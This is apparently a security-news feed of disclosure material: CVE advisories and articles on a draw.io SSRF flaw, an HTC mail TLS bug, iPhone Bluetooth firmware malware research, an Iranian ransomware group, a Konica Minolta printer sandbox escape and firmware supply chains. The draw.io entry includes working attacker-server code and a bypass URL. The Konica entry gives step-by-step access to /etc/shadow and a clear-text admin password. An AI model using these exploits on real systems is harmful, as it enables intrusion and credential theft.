Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.5.

**Description**

Through the ProxyServlet external content can be retrieved. This can be done by providing a URL in the url query parameter. There are a few restrictions in place, especially internal hosts are forbidden. The validation of the url parameter looks as follows:

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L233-L282

        public boolean checkUrlParameter(String url)
        {
            if (url != null)
            {
                try
                {
                    URL parsedUrl = new URL(url);
                    String protocol = parsedUrl.getProtocol();
                    String host = parsedUrl.getHost().toLowerCase();
    
                    return (protocol.equals("http") || protocol.equals("https"))
                            && !host.endsWith(".internal")
                            && !host.endsWith(".local")
                            && !host.contains("localhost")
                            && !host.startsWith("0.") // 0.0.0.0/8
                            && !host.startsWith("10.") // 10.0.0.0/8
                            && !host.startsWith("127.") // 127.0.0.0/8
                            && !host.startsWith("169.254.") // 169.254.0.0/16
                            && !host.startsWith("172.16.") // 172.16.0.0/12
                            && !host.startsWith("172.17.") // 172.16.0.0/12
                            && !host.startsWith("172.18.") // 172.16.0.0/12
                            && !host.startsWith("172.19.") // 172.16.0.0/12
                            && !host.startsWith("172.20.") // 172.16.0.0/12
                            && !host.startsWith("172.21.") // 172.16.0.0/12
                            && !host.startsWith("172.22.") // 172.16.0.0/12
                            && !host.startsWith("172.23.") // 172.16.0.0/12
                            && !host.startsWith("172.24.") // 172.16.0.0/12
                            && !host.startsWith("172.25.") // 172.16.0.0/12
                            && !host.startsWith("172.26.") // 172.16.0.0/12
                            && !host.startsWith("172.27.") // 172.16.0.0/12
                            && !host.startsWith("172.28.") // 172.16.0.0/12
                            && !host.startsWith("172.29.") // 172.16.0.0/12
                            && !host.startsWith("172.30.") // 172.16.0.0/12
                            && !host.startsWith("172.31.") // 172.16.0.0/12
                            && !host.startsWith("192.0.0.") // 192.0.0.0/24
                            && !host.startsWith("192.168.") // 192.168.0.0/16
                            && !host.startsWith("198.18.") // 198.18.0.0/15
                            && !host.startsWith("198.19.") // 198.18.0.0/15
                            && !host.endsWith(".arpa"); // reverse domain (needed?)
                }
                catch (MalformedURLException e)
                {
                    return false;
                }
            }
            else
            {
                return false;
            }
        }
    

All of the restrictions of the URL validation function can be bypassed. The cause for this can be found in the doGet method. The URL validation check is performed only on the initial url parameter in the GET request.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L65-L71

        protected void doGet(HttpServletRequest request,
                HttpServletResponse response) throws ServletException, IOException
        {
            String urlParam = request.getParameter("url");
    
            if (checkUrlParameter(urlParam))
            {
    

After the initial request, potential redirects are followed. However, there are no checks against the value of the Location header, which will be used for the URLConnection on subsequent requests.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L113-L143

                        // Follows a maximum of 6 redirects 
                        while (counter++ <= 6
                                && (status == HttpURLConnection.HTTP_MOVED_PERM
                                        || status == HttpURLConnection.HTTP_MOVED_TEMP))
                        {
                            url = new URL(connection.getHeaderField("Location"));
                            connection = url.openConnection();
                            ((HttpURLConnection) connection)
                                    .setInstanceFollowRedirects(true);
                            connection.setConnectTimeout(TIMEOUT);
                            connection.setReadTimeout(TIMEOUT);
    
                            // Workaround for 451 response from Iconfinder CDN
                            connection.setRequestProperty("User-Agent", "draw.io");
                            status = ((HttpURLConnection) connection)
                                    .getResponseCode();
                        }
    
                        if (status >= 200 && status <= 299)
                        {
                            response.setStatus(status);
                            
                            // Copies input stream to output stream
                            InputStream is = connection.getInputStream();
                            byte[] head = (contentAlwaysAllowed(urlParam)) ? emptyBytes
                                    : Utils.checkStreamContent(is);
                            response.setContentType("application/octet-stream");
                            String base64 = request.getParameter("base64");
                            copyResponse(is, out, head,
                                    base64 != null && base64.equals("1"));
                        }
    

This allows sending HTTP requests to arbitrary internal and external hosts/URLs and bypassing the restrictions of the validation function.

**Proof of Concept**

For the proof of concept we have three servers, one attacker controlled server, the server where the draw.io webapp is located, and an internal server that contains a secret.

**Attacker server:**  
This server serves the purpose of redirecting to URLs of the attackers choice. For example the following script, saved as server.js can be run with Node.js (node server.js):

    const http = require('http');
    
    const requestListener = function (req, res) {
      res.writeHead(301, {
          "Location": "http://127.0.0.1:9001/"
      });
      res.end();
    }
    
    const server = http.createServer(requestListener);
    server.listen(9000);
    

For this PoC this server runs under hax.7085.at:9000.

**draw.io web app**  
The draw.io webapp is located under draw.7085.at:8080/draw.

**Internal server**  
The internal server is located under 127.0.0.1:9001.

    const http = require('http');
    
    const requestListener = function (req, res) {
      res.writeHead(200, {
        "Content-Type": "text/html"
      });
      res.end("<html>internal secret</html>");
    }
    
    const server = http.createServer(requestListener);
    server.listen(9001);
    

After everything is set up, then a request to the ProxyServlet of the draw.io web app can be sent by providing the URL to the attackers server in the url parameter in the following format: <url-to-webapp-host>/proxy?url=http://hax.7085.at:9000/. So the URL in this case would be http://draw.7085.at:8080/draw/proxy?url=http://hax.7085.at:9000/.

Sending a request to this URL will bypass the restrictions and reveal the secret of the internal server.

**Impact**

It allows sending HTTP requests to arbitrary hosts, bypassing the URL restrictions and accessing otherwise forbidden internal hosts, reading the full response.

CVE-2022-1711: SSRF via Unvalidated Redirects in ProxyServlet in drawio

A vulnerability was found in HTC One/Sense 4.x. It has been rated as problematic. Affected by this issue is the certification validation of the mail client. An exploit has been disclosed to the public and may be used.

**HTC's E-Mail Client Fails to verify Server Certificates**

We decided not to release an official advisory, but to write this short and hopefully entertaining blogpost about a stupid, but severe bug we recently discovered.

Severity: medium to high  
Vendor: HTC  
Products we known to be affected:  

*   Mail Version 5.2.2222282614.528614.528614 on an HTC One SV with Android 4.0.4, HTC Sense 4.1, HTC SDK API 4.25
*   Mail Version 5.5.550363 running on an HTC One X with Android 4.1.1, HTC Sense 4+ HTC SDK API 4.63

**Short Summary**

modzero identified a vulnerability in HTC's default mail client. If the user chooses encrypted and authenticated communication to a mail server, the application does not verify the server's certificate and automatically accepts any certificate without asking or warning the user. Thus, an attacker is able to intercept a user's credential and e-mails, especially in rogue access point scenarios.

**Whole Story**

While analyzing a wireless infrastructure, we were testing station behaviour regarding rogue access-points. Using airbase-ng and some metasploit capture server modules, the set-up was painless and straight forward.

YEP, it works as expected; the phone connects to the rogue network and tries to pull the e-mails from the SSL protected POP3 or IMAP servers. The iPhone did properly show a certificate warning, because it could not verify the certificate while trying to get the e-mails. Lets check how the other phones behave. **Booom** - a username and password was captured!  

Wait a second? SSL was enabled on all the configs right? Let's check the config the HTC ONE X android phone again? YEP,**SSL enabled** -maybe something is broken or someone had accept the certificate already or ... whatever ... So we setup another fake e-mail account and gave it a go.  

Again, the password showed up and no certificate warning was visible on the HTC ONE X e-mail client at all. This happens for POP and IMAP accounts.  

Great!Everyone can man-in-the-middle your apparently SSL protected e-mail communication. FSCK ... impossible ...  

Lets compare the available settings of a HTC Android phone and a regular android phone:  

Did the guys at HTC wanted to make the user experience better? More options might just confuse their users? In fact the "SSL" setting on the HTC e-mail client does behave like the "SSL accept allcertificates" setting on other Android e-mail clients.

**Using SSL is completely pointless, if you don't verify the certificates at all.**  

We did not even bother to check what they precisely messed up in the E-Mail client code. HTC, please go and fix it. This is plain stupid. Other versions might be affected as well. Feel free to e-mail us regarding other affected versions.

Credits:

*   Max Moser
*   Martin Schobert

Posted by modzero | Permanent link | File under:

rant,

crypto

CVE-2013-10001: HTC's E-Mail Client Fails to verify Server Certificates

Wireless chips that run when the iPhone iOS is shut down can be exploited.

Bluetooth, near-field communication (NFC) and ultra-wideband (UWB) operate when iPhone's iOS system is shut off, meaning even powered-down devices are vulnerable to attack.

New research from the Technical University of Darmstadt in Germany examined the chips that enable the "Find My" functions and allow users to access banking and identification information even when the device is in low-power mode. This access also has the unintended consequence of leaving the device open to attack, even though the user might think the iPhone is offline and secure. according to the team's paper, entitled "Evil Never Sleeps."

"On recent iPhones, Bluetooth, near field communication (NFC), and U=ultra-wideband (UWB) keep running after power off, and all three wireless chips have direct access to the secure element," the paper states. "As a practical example what this means to security, we demonstrate the possibility to load malware onto a Bluetooth chip that is executed while the iPhone is off." 

That said, exploitation is far from simple, requiring several steps and the use of known bugs like BrakTooth, the researchers explain.

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

iPhones Open to Attack Even When Off, Researchers Say

By Deeba Ahmed
The iOS Find My feature has a safety loophole that can lead to infecting the iPhone even if…
This is a post from HackRead.com Read the original post: Attackers can Install Malware on iPhone When it is Powered Off – Research

The iOS Find My feature has a safety loophole that can lead to infecting the iPhone even if the phone is off.

Academic researchers from the Secure Mobile Networking Lab (SEEMOO) at the Technical University of Darmstadt have identified a unique way of infecting an iPhone by loading malware while the phone is off.

Researchers will present their findings at the ACM Conference on Security and Privacy in Wireless Mobile Networks/ WiseSec 2022.

**How does the Attack work?**

The attack occurs after tampering with the iOS firmware and loading the malicious software onto a wireless Bluetooth chip with Near-field Communication and Ultra-Wideband. The attacker needs to execute the chip to infect the phone when it is off. The chip continues to operate when the system is off, and the Low Power Mode (LPM) is activated.

While the three wireless chips can facilitate Find My and Express Card transaction features, these can directly access the secure element. Basically, the ultra-wideband (UWB) (supported by iPhone 11, 12, and 13) and the Bluetooth chips are hardwired to the NFC chip’s Secure Element and can easily access confidential data.

“Since LPM support is implemented in hardware, it cannot be removed by changing software components. As a result, on modern iPhones, wireless chips can no longer be trusted to be turned off after shutdown,” researchers wrote in the paper titled “Evil Never Sleeps: When Wireless Malware Stays On After Turning Off iPhones.”

Researchers regarded the LPM feature as Opaque and highlighted that it sometimes fails to initialize Find My ads when the phone is off. Moreover, the Bluetooth firmware is not encrypted or signed.

An attacker can exploit this flaw to execute the malware on an iPhone Bluetooth chip. However, the adversary must possess privileged access. Furthermore, the attacker must communicate to the firmware via the OS, modify its image or obtain code execution on an LPM-activated chip by exploiting another flaw such as BrakTooth to exploit the loophole successfully.

**What is LPM?**

This feature was introduced in 2021 with iOS 15. It helps the user track lost devices using the Find My network and stays available even when the phone is out of battery power or is off. Before the phone shuts down, a message states the device will remain findable despite being off, and the Find My feature will locate it in case it is lost or stolen. The phone will be accessible when powered off or is in power reserve mode.

**More iPhone Tech & Hack on Hackread.com**

1.  A bug lets you crash anyone’s iPhone with a text message
2.  SolarWinds hackers exploited iOS 0-day to compromise iPhones
3.  Apple’s neuralMatch tool will scan iPhones for child abuse content
4.  iPhones of 9 State Dept officials hijacked by NSO Pegasus spyware
5.  NSO zero-click iMessage exploit hacks iPhone without the need to click links

Attackers can Install Malware on iPhone When it is Powered Off – Research

A first-of-its-kind security analysis of iOS Find My function has demonstrated a novel attack surface that makes it possible to tamper with the firmware and load malware onto a Bluetooth chip that's executed while an iPhone is "off."
The mechanism takes advantage of the fact that wireless chips related to Bluetooth, Near-field communication (NFC), and ultra-wideband (UWB) continue to operate

A first-of-its-kind security analysis of iOS Find My function has demonstrated a novel attack surface that makes it possible to tamper with the firmware and load malware onto a Bluetooth chip that's executed while an iPhone is "off."

The mechanism takes advantage of the fact that wireless chips related to Bluetooth, Near-field communication (NFC), and ultra-wideband (UWB) continue to operate while iOS is shut down when entering a "power reserve" Low Power Mode (LPM).

While this is done so as to enable features like Find My and facilitate Express Card transactions, all the three wireless chips have direct access to the secure element, academics from the Secure Mobile Networking Lab (SEEMOO) at the Technical University of Darmstadt said in a paper.

"The Bluetooth and UWB chips are hardwired to the Secure Element (SE) in the NFC chip, storing secrets that should be available in LPM," the researchers said.

"Since LPM support is implemented in hardware, it cannot be removed by changing software components. As a result, on modern iPhones, wireless chips can no longer be trusted to be turned off after shutdown. This poses a new threat model."

The findings are set to be presented at the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec 2022) this week.

The LPM features, newly introduced last year with iOS 15, make it possible to track lost devices using the Find My network. Current devices with Ultra-wideband support include iPhone 11, iPhone 12, and iPhone 13.

A message displayed when turning off iPhones reads thus: "iPhone remains findable after power off. Find My helps you locate this iPhone when it is lost or stolen, even when it is in power reserve mode or when powered off."

Calling the current LPM implementation "opaque," the researchers not only sometimes observed failures when initializing Find My advertisements during power off, effectively contradicting the aforementioned message, they also found that the Bluetooth firmware is neither signed nor encrypted.

By taking advantage of this loophole, an adversary with privileged access can create malware that's capable of being executed on an iPhone Bluetooth chip even when it's powered off.

However, for such a firmware compromise to happen, the attacker must be able to communicate to the firmware via the operating system, modify the firmware image, or gain code execution on an LPM-enabled chip over-the-air by exploiting flaws such as BrakTooth.

Put differently, the idea is to alter the LPM application thread to embed malware, such as those that could alert the malicious actor of a victim's Find My Bluetooth broadcasts, enabling the threat actor to keep remote tabs on the target.

"Instead of changing existing functionality, they could also add completely new features," SEEMOO researchers pointed out, adding they responsibly disclosed all the issues to Apple, but that the tech giant "had no feedback."

With LPM-related features taking a more stealthier approach to carrying out its intended use cases, SEEMOO called on Apple to include a hardware-based switch to disconnect the battery so as to alleviate any surveillance concerns that could arise out of firmware-level attacks.

"Since LPM support is based on the iPhone's hardware, it cannot be removed with system updates," the researchers said. "Thus, it has a long-lasting effect on the overall iOS security model."

"Design of LPM features seems to be mostly driven by functionality, without considering threats outside of the intended applications. Find My after power off turns shutdown iPhones into tracking devices by design, and the implementation within the Bluetooth firmware is not secured against manipulation."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Researchers Find Way to Run Malware on iPhone Even When It's OFF

By Deeba Ahmed
Cobalt Mirage is an Irani threat group believed to be linked to the Iranian Cobalt Illusion threat group,…
This is a post from HackRead.com Read the original post: Iran’s COBALT MIRAGE Threat Group Behind Ransomware Attacks in US

Cobalt Mirage is an Irani threat group believed to be linked to the Iranian Cobalt Illusion threat group, whereas Cobalt Mirage’s activities have been reported as TunnelVision and Phosphorus.

SecureWorks® Counter Threat Unit™ (CTU) researchers are investigating an Irani threat group known as the Cobalt Mirage group. This group first surfaced in June 2020 and is linked to another Irani threat group Cobalt Illusion, also known as Charming Kitten, Phosphorus, APT35, and Newscaster.

The group primarily uses phishing campaigns to gain access to networks. Researchers suspect that the two groups are interconnected and might share access and tradecraft.

It is worth noting that previously, Charming Kitten was also accused of its involvement in some highly sophisticated social engineering attacks including bypassing Gmail and Yahoo’s 2FA (Two-Factor Authentication (2FA) in December 2018.

Furthermore, Charming Kitten was the talk of the town in March 2019 when Microsoft seized 99 websites used by Iranian hackers for large-scale phishing attacks. In July 2020, the same group exposed 40GB of videos exposing its entire modus operandi.

**Cobalt Mirage Attack Tactics**

Based on information obtained via incident response activities and public reporting, the researchers identified two clusters of Cobalt Mirage attacks, labeled Cluster A and Cluster B. 

According to researchers, threat actors used DiskCryptor and BitLocker in Cluster A for conducting ransomware attacks that are mainly profit-driven. On the other hand, Cluster B entails targeted intrusions to invade a network and collect intelligence. But sometimes, Cluster B attacks may also involve ransomware in selected cases.

COBALT MIRAGE’s attack vector (Image: SecureWorks)

**Primary Targets of Cobalt Mirage**

According to SecureWorks’s blog post published on May 12th, Cobalt Mirage’s victims are primarily organizations in the USA, Australia, Europe, and Israel. The group mainly uses file-encrypting ransomware to target its victims.

Some of its previous campaigns include the scan-and-exploit attack against Microsoft Exchange Servers and exploiting the ProxyShell vulnerabilities in March 2022 to access a US local government network.

The group also targeted a philanthropic organization in the USA in January 2022. Research reveals that the group has limited ability to capitalize on the access they gain to a network and use it for financial gains or intelligence data collection.

**How does Cobalt Mirage Attack its Victims?**

Research revealed that Cobalt Mirage scans internet-exposed servers to detect vulnerable servers and identify initial access routes. They often look for flaws in Microsoft Exchange servers and Fortinet appliances.

In 2021, SecureWorks’ blog post revealed that the threat group scanned ports 4443, 8443, and 10443 to find flaws in devices vulnerable to FortiOS vulnerabilities (CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591).

In September 2021, they targeted the MS Exchange servers and deployed the Fast Reverse Proxy Client by exploiting the ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to enable access to vulnerable devices.

Once they identify a loophole, they drop web shells and use them as a conduit for lateral movement across the network and launch the ransomware. They complete their attack with a rather unusual way of sending ransom notes, which they send to a local printer.

This note contains the email address and Telegram account details for victims to contact the attacker. However, researchers couldn’t identify how the encryption feature is triggered. The group uses publicly available encryption tools for launching ransomware attacks.

COBALT MIRAGE’s ransom note (Image: SecureWorks)

> “CTU researchers recommend that organizations use available controls to review and restrict access using the indicators listed in Table 1. Note that IP addresses can be reallocated. The domains and IP addresses may contain malicious content, so consider the risks before opening them in a browser.”

**More Iranian Security News on Hackread.com**

1.  Iran-linked hackers hit Israeli, US and EU defense tech firm
2.  Irani and Chinese State Hackers Exploiting Log4j Vulnerability
3.  Watch as hackers disrupt Iran’s prison computers; leak live footage
4.  Exposed: 6 year old Iranian espionage campaign using Android backdoor
5.  Iranian APT group hits schools, universities in global spear phishing attacks

Iran’s COBALT MIRAGE Threat Group Behind Ransomware Attacks in US

Konica Minolta bizhub MFP devices before 2022-04-14 have an internal Chromium browser that executes with root (aka superuser) access privileges.

Title

Sandbox Escape with Root Access & Clear-text passwords

Product

Multiple Konica Minolta bizhub MFP Printer Terminals

Vulnerable Version

see vulnerable / tested versions below

Fixed Version

see solution section below

CVE Number

CVE-2022-29586, CVE-2022-29587, CVE-2022-29588

By

Werner Schober (Office Vienna) Johannes Kruchem (Office Vienna) SEC Consult Vulnerability Lab

Multiple Konica Minolta MFP bizhub devices, as well as devices from other manufacturers with the same firmware, are vulnerable to a sandbox breakout via the internal browser that displays the help menus. The browser itself is started with root privileges, which allows access to the complete file system. A file in the file system contained the administrator password for the printer's web interface in plain text.

**Vendor description**

_"Konica Minolta is a Japanese multinational technology company headquartered in Marunouchi, Chiyoda, Tokyo, with offices in 49 countries worldwide. The company manufactures business and industrial imaging products, including copiers, laser printers, multi-functional peripherals (MFPs) and digital print systems for the production printing market. Konica Minolta's Managed Print Service (MPS) is called Optimised Print Services. The company also makes optical devices, including lenses and LCD film; medical and graphic imaging products, such as X-ray image processing systems, colour proofing systems, and X-ray film; photometers, 3-D digitizers, and other sensing products; and textile printers."_ 

Source: https://en.wikipedia.org/wiki/Konica\_Minolta 

**Business recommendation**

Konica Minolta provided a patch of the firmware and operating system very quickly at the start of the year 2020. For most of the devices this firmware update must be manually applied by service technicians as a remote service platform for remote firmware updates is not fully rolled out yet. Multiple COVID-19 lockdowns delayed this patching process of over hundreds of thousands of devices drastically. 

In case you didn't receive an update yet, approach your Konica Minolta contact. 

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Furthermore, it is necessary to implement secure software design early in the development life cycle and adapt secure patch management procedures through an ISMS. 

SEC Consult also published a blog post titled "**Someone call the patch manager - how COVID-19 left hundreds of thousands of printers vulnerable**" containing a practical example of a possible attack vector. 

**Vulnerability overview/description****1) Sandbox Escape on the Physical Printer Touch Screen Terminal (CVE-2022-29586) **

A touch screen terminal is attached to the printer in order to manage print jobs, create new scans, simply copy a page or to configure the device. The touch screen terminal hosts a user interface, which is based upon a proprietary application. 

By opening certain applications and/or settings via the terminal, it was possible to observe a slight change in the look and feel of the user interface itself. It was quickly determined that this was the result of context change, meaning that the applications running are not solely based on the proprietary application only. 

After attaching a keyboard to one of the multiple USB ports of the printer and pressing specific key combinations, it was possible to determine that some application parts are running an ordinary Chromium browser in "kiosk mode", which can be escaped easily, although most of the key combinations were blacklisted. This allows an attacker to get full access to the underlying printer's operating-  and file system, including configuration files, passwords in clear text, proprietary scripts and many more. 

**2) Terminal UI/Chromium running as root (CVE-2022-29587) **

It was determined that the printer UI and the Chromium browser are running with root privileges after escaping the printer terminal's sandbox. This allows an attacker to get full access to all files and folders on the operating system.  

**3) Passwords stored in clear text on the file system (CVE-2022-29588) **

Multiple passwords in clear-text were found on the file system of the printer. 

This includes: 

*   Unix User Account Passwords 
*   Printer Administrative Passwords 

Examples can be found in the following proof of concept section.  

**Proof of concept**

The referenced screenshots in this advisory can be found in our blog post.

**1) Sandbox Escape on the Physical Printer Touch Screen Terminal (CVE-2022-29586)  **

The following steps are necessary to get full access to the printer's operating system. It is necessary to have physical access to the device and "User Authentication" must be used and "Public User Access" must be enabled on the device.   

**Step 1 - Public User Access **

The attacker has access as "Public User" to the device.  The button is marked red in "step1.jpg". 

**Step 2 - Utility **

An attacker has to click on the button called "Utility" in the user interface which should be open after step 1. The button is marked red in "step2.jpg". 

**Step 3 - Utility again **

An attacker has to click on the slightly different "Utility" button again in the next window. The button is marked red in "step3.jpg". 

**Step 4 – Accessing Chromium **

A slight change in the design of the user interface can be observed after clicking on the "Utility" button marked red in the step above. The reason for that is that the application, which is now visible, is launched inside of a Chromium browser in kiosk mode. The loaded web application in Chromium can be seen in image "step4.jpg". 

**Step 5 – Attaching a keyboard **

A keyboard has to be attached to the printer to breakout of the terminal's sandbox and get access to the operating system. This can be done directly via the USB port available on all printers. 

**Step 6 – Access Chromium Developer Console **

Most of the shortcuts available on a normal Linux operating system are blocked or crash the printer terminal, but it was still possible to get full access to the system by pressing the key F12, which opened up the Chromium developer console. This can be seen in "step6.jpg". 

**Step 7 – Accessing the file system **

The tab sources in the Chromium developer tools can be used to get full file system access. Arbitrary folders can be added and read by clicking on "Add folder to workspace".

For example, the folder /var/log/nginx/html/ got added to Chromium, which revealed a lot of interesting files. The probably most interesting one is the file called "ADMINPASS" containing the printer's administrator account password in cleartext. 

**2) Terminal UI/Chromium running as root  (CVE-2022-29587)  **

Files such as /etc/shadow can be accessed with the root user's permissions. 

**3) Passwords stored in clear text on the file system  (CVE-2022-29588)  **

The following files containing clear text passwords were identified on the printer's file system: 

**3.1) /etc/shadow **

The shadow file contained the password of the user ORDBMS. No passwords were set for other users. 

**3.2) /var/log/nginx/html/ADMINPASS **

This file contains the password for the printer's web interface. Another file with sensitive content was found in /var/log/nginx/html. The "ADMINPASS" file contained the administrator's password for the printer's terminal/web interface in clear text. 

**Vulnerable / tested versions**

According to Konica Minolta, 46 bizhub MFP models are affected. The number of affected  devices in the field are in the hundreds of thousands worldwide according to the vendor.  These devices are also re-branded and sold by other companies. 

The vulnerabilities have been tested on the following devices: 

*   C3350i 
*   C3300i 

**Konica Minolta provided the following list of affected models / versions: **

​Model name

Affected FW version

CVE-ID

bizhub 227, 287, 367, 308, 368, 458, 558, 758, 808, 958, PRO958, 308e, 368e, 458e, 558e, 658e, 4752, 4052, C227, C287, C258, C308, C368, C458, C558, C658, C659, C759, C3351, C3851, C3851FS

G00-U8 or later

CVE-2022-29586 CVE-2022-29587

bizhub C450i, C550i, C650i

G00-73 or later

CVE-2022-29586 CVE-2022-29587

bizhub C250i, C300i, C360i, C4050i, C3350i, C4000i, C3300i

G00-73 or later

CVE-2022-29586 CVE-2022-29587

bizhub C250i, C300i, C360i, C4050i, C3350i, C4000i, C3300i

Gxx-4A or prior

CVE-2022-29586 CVE-2022-29587 CVE-2022-29588

bizhub 306i, 226i, 246i, 266i, C3320i

Gxx-4A or prior

CVE-2022-29588 CVE-2022-29587 CVE-2022-29586

**Vendor contact timeline:**

2020-01-16

Contacting vendor through "KONICA MINOLTA PSIRT Vulnerability Report Form"

2020-01-16

Vendor responds with GPG public key for psirt@konicaminolta.com

2020-01-16

Forwarding encrypted advisory to Konica Minolta PSIRT

2020-01-29

Update from Konica Minolta PSIRT - The reported vulnerabilities were successfully reviewed and will be patched in a future firmware release. The release date will be provided soon.

2020-2022

Postponing release multiple times as the remote service platform for remote firmware updates has not been rolled out for most devices yet and hundreds of thousands of printers have to be patched manually on-site during the COVID-19 pandemic.

2022-04-13

Requesting status update from Konica Minolta PSIRT.

2022-04-14

Konica Minolta PSIRT responds by stating that all devices directly affected have already been patched.

2022-04-25

Sending security advisory draft to vendor for review.

2022-05-09

Konica Minolta provides a list of affected models and feedback.

2022-05-10

Receiving further feedback, adjusting advisory.

2022-05-12

Coordinated release of security advisory

**Solution**

Konica Minolta already provided a patch of the firmware and operating system at the start of the year 2020 that must be applied by service technicians manually on-site at all of their customer locations. Most affected devices don't have a remote service platform for remote firmware updates yet. If your service technician hasn't patched your system yet, schedule an appointment. 

It has to be noted that Konica Minolta tried to patch most of their printers as soon as possible, which is not an easy task due to the large amount of affected printers and their manual procedure during the COVID-19 pandemic with multiple lockdowns. 

Konica Minolta provided the following list of models with fixed FW versions: 

Model name

Fixed FW version

bizhub 227, 287, 367, 308, 368, 458, 558,758, 808, 958, PRO958, 308e, 368e, 458e,558e, 658e, 4752, 4052, C227, C287, C258, C308, C368, C458, C558, C658, C659, C759,C3351, C3851, C3851FS

GC2-X4 or later

bizhub C550i, C650i

G00-2B or later

bizhub C250i, C450i, C300i, C360i, C4050i, C3350i, C4000i, C3300i

G00-7B or later

bizhub C3320i

G00-4D or later

bizhub 306i, 226i, 246i, 266i

G00-4F or later

**Workaround**

The following hardening/workaround is available and was provided directly from Konica Minolta. 

*   Disable the use of the external USB keyboard by "Customer Administrator" setting. 
*   In addition, it is strongly recommended to change the Customer Admin password to a new one. 

**Advisory URL**

https://sec-consult.com/vulnerability-lab/ 

EOF Werner Schober, Johannes Kruchem / @2022 

_Interested to work with the experts of SEC Consult? Send us your application_

_Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices_

CVE-2022-29587: Sandbox Escape with Root Access & Clear-text passwords in Konica Minolta bizhub MFP Printer Terminals

Terminalfour before 8.3.8 allows XSS, aka RDSM-31817. 8.2.18.2.1 and 8.2.18.5 are also fixed versions.

**General****Workflows**

We received feedback about Workflow issues with multi-lingual Content Items, errors around rejection steps, and email functionality taking longer than it should. This release has over 20 fixes in place around the workflow functionality which should hopefully make things run smoother there.

**A couple of highlights:**

**RDSM-29134**

Approving Content Items in a Section Workflow configured to notify step moderators could be very slow. We've improved this by changing how those emails are queued and sent.

**RDSM-31244**

Previously if you modified and saved a Content Item where the reject settings were set to "Do nothing" and it had been already rejected in a Workflow, the Content Item did not re-enter or show up in the Workflow. That's fixed up now.

**RDSM-31306**

There were problems with rejecting independent Media Items that entered a Workflow. This has been resolved now.

**Performance**

**Moving mirrored sections - RDSM-25970**

As always we're still finding performance gains with each release. For this release our performance piece was around the time it takes to move a Mirrored Section. At a large scale (e.g. over 7000 Child Sections) this was very slow. With this update, the same action takes about 30% of the previous time, a welcome improvement.

**Fixes of note**

**Accessibility and anchor tags - RDSM-31347**

We made some adjustments to the meta\_anchor T4 Tag with this release. Previously that tag would output an <a> tag like this:

    <a id="d.en.10743"></a>

From an accessibility perspective, this isn't great –  it's not a link and it's not going anywhere – so we changed it from an <a> tag to a <span>. The linking functionality will work the same but the markup is better.

**Duplicating/mirroring/moving content to a Section, content ordering is lost - RDSM-28606**

As part of this release, we took a look at what is happening with ordering when content is mirrored/moved/duplicated. There were a few idiosyncrasies that we have ironed out now. For a view on the expected functionality see the new documentation.

**Translating a List into another language - RDSM-26130**

When you tried to translate a List you could end up on a blank screen. We had a workaround but it wasn't user-friendly, so we've fixed the problem and you should be able to translate lists again.

**Group names over 40 characters - RDSM-32481**

Up until now, Group names had to be under 40 characters. Now that's configurable from the database if it needs to be longer. 

**Content Syncer and extended user content type - RDSM-32242** 

We spotted a problem where the Content Syncer functionality was being blocked if the system had an extended user Content Type set. That's been fixed up now.

**Inactive Content Items that are made pending publish - RDSM-14098**

This is an issue that's worth keeping an eye out for as it's been around for a while and may change current publish behavior on some older pages (albeit incorrect behavior). In this scenario, we've seen that content that was made inactive, then updated to be pending (not approved) could be published. We've put a fix in so in this situation only approved content will be published.

CVE-2022-30770: Terminalfour 8.3.8 Release Notes

Webmin through 1.991, when the Authentic theme is used, allows remote code execution when a user has been manually created (i.e., not created in Virtualmin or Cloudmin). This occurs because settings-editor_write.cgi does not properly restrict the file parameter.

CVE-2022-30708: Webmin

The supply chain for firmware development is vast, convoluted, and growing out of control: patching security vulnerabilities can take up to two years. For cybercriminals, it's a veritable playground.

BLACK HAT ASIA 2022 — When it comes to developing the firmware that powers computing devices, the ecosystem consists of complex supply chains that have multiple contributors. For any given device, firmware could be made up of a hodgepodge of components from different sources. And that means that when it's time to address security vulnerabilities, it's far from a straightforward process to get a patch out to the public.

During a panel-discussion session at Black Hat Asia on Thursday, entitled "The Firmware Supply-Chain Security Is Broken: Can We Fix It?", Kai Michaelis, co-founder and CTO at Immune GmbH, outlined what he called the overgrown supply-chain "tree," out of which grows onerous code reviews, and lengthy patching processes when a bug is found.

In fact, six to nine months for patches to roll out is the average, according to the panelists — with two years being not uncommon. And that means the supply chain represents a wide attack surface that's ripe for compromise, they warned. Given that vulnerable firmware threatens safety of the operating system and any applications, the potential for cyberattackers to find exploitable vulnerabilities is a serious concern.

**A Thorny Tree of Supply-Chain Complexity**

The final firmware that vendors incorporate into their hardware is a multisourced affair, explained Michaelis. Stakeholders can include various component vendors, a few open source repositories, reference implementations, original design manufacturers, independent BIOS vendors, and finally, the original equipment manufacturers (OEMs) that create and sell the final product to channel partners and end users.

Further complicating matters is the fact that subsystem vendors might be sitting in the middle of the code tree, itself combining elements from multiple component manufacturers into a single offering.

The unfortunate end result is that when a vulnerability is reported, OEMs often have multiple "branches" from which patches and updates flow — and they usually have no visibility to each other.

"It's a tree of suppliers and updates with little coordination between them, and the OEM has to ingest all of it," Michaelis said. "For vendors, packaging updates is a fairly manual process, and then consumers need to actually install those updates. In all, the patching process as it stands can be measured in months to years."

One of the main issues that Michaelis flagged is the fact that when bugs are found, they may be benign in and of themselves. However, when combined with additional vulns in other parts of the firmware, the flaws become weaponizable and could allow attacks on value-added reseller (VAR) partners — and from there, end users.

"Convincing a vendor to patch what it believes is a harmless flaw is not easy," he said. "And even if there is a patch, it takes so long for it to get downstream that an attacker could easily find another vulnerability to combine with it in the meantime. So this is the problem: Bugs exist in isolation because vendors don't talk to each other, and bugs have a long shelf life."

